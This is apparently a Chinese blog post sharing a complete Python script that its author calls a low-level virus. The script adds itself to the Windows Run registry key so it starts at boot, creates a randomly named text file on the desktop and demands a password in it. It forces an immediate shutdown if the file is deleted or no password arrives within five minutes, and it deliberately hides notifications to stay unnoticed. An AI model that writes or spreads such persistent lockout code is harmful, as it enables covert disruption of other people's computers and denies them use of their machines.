简介
掩耳盗铃习惯了,今天整一点偏高级的,攻克一下我一直没拿下的自启动。
能修改自启动项,能在开机时启动,并在桌面创建(基于注册表实现)一个txt文件,向这个文件输入密码才能继续使用电脑,程序只会对txt文档进行读取,通知什么的最好取消。如果不对桌面上的文件进行操作的话,5分钟后电脑会关机,直接删除会使电脑直接关机。从某种意义上来说,这是一个低级病毒(如果加一个自动复制的话、再打包出来……噫)。
代码
建议复制来使用时不要轻易运行,必须先修改代码!!!
只有密码正确了程序才能结束运行,可通过任务管理器击杀,有5min反应时间。
python">import hashlib
import os
import random
import winreg as reg
import time# from plyer import notification
# 取消通知,避免露馅def modify_startup(file_path="", startup_name=""):if not file_path:file_path = os.path.abspath(__file__)if not startup_name:startup_name = "My Python Program"# 打开注册表键reg_key = reg.HKEY_CURRENT_USERreg_path = r"Software\Microsoft\Windows\CurrentVersion\Run"try:registry_key = reg.OpenKey(reg_key, reg_path, 0, reg.KEY_SET_VALUE)except FileNotFoundError:registry_key = reg.CreateKey(reg_key, reg_path)# 修改键值try:reg.SetValueEx(registry_key, startup_name, 0, reg.REG_SZ, file_path)print(f"已成功修改启动项 '{startup_name}' 的路径。")except FileNotFoundError:print(f"启动项 '{startup_name}' 不存在。")finally:reg.CloseKey(registry_key)def delete_startup(startup_name=""):if not startup_name:startup_name = "My Python Program"# 打开注册表键reg_key = reg.HKEY_CURRENT_USERreg_path = r"Software\Microsoft\Windows\CurrentVersion\Run"try:registry_key = reg.OpenKey(reg_key, reg_path, 0, reg.KEY_SET_VALUE)except FileNotFoundError:registry_key = reg.CreateKey(reg_key, reg_path)# 删除键值try:reg.DeleteValue(registry_key, startup_name)print(f"已成功删除启动项 '{startup_name}'。")except FileNotFoundError:print(f"启动项 '{startup_name}' 不存在。")finally:reg.CloseKey(registry_key)def get_desktop_path(): # 获取桌面位置# 打开注册表项key = reg.OpenKey(reg.HKEY_CURRENT_USER,r"Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders")try:# 查询Desktop的值desktop_path, reg_type = reg.QueryValueEx(key, "Desktop")# 如果路径中包含环境变量,则进行解析desktop_path = os.path.expandvars(desktop_path)finally:# 关闭注册表项reg.CloseKey(key)return desktop_pathdef hx(s=str(random.randint(1000, 9999))): # 加密函数return hashlib.sha256(s.encode()).hexdigest()if __name__ == '__main__':script_path = os.path.abspath(__file__)modify_startup(script_path, "mypwd")fileName = hx()desktop = get_desktop_path()with open(f"{desktop}\\{fileName}.txt", "w", encoding="utf-8") as origin:origin.write(fileName)content = ""count = 0while not hx(content) == "00cfe4cfcd27c0c2f658560a2068b1e7e9ae8ca64a93b8d8cad84c9d2603c18b": # 成功条件if not os.path.exists(f"{desktop}\\{fileName}.txt"): # 删文件的后果os.system("shutdown -s -t 0")breakwith open(f"{desktop}\\{fileName}.txt", "r", encoding="utf-8") as file:content = file.read().strip()if count == 60: # 5min无操作的后果# notification.notify(# title="莉莉丝",# message="杂鱼,你好像不是这台电脑的主人啊!",# )os.remove(f"{desktop}\\{fileName}.txt")os.system("shutdown -s -t 0")breakcount += 1time.sleep(5)if os.path.exists(f"{desktop}\\{fileName}.txt"):os.remove(f"{desktop}\\{fileName}.txt")# notification.notify(# title="莉莉丝",# message="主人,欢迎您!",# )
学习愉快!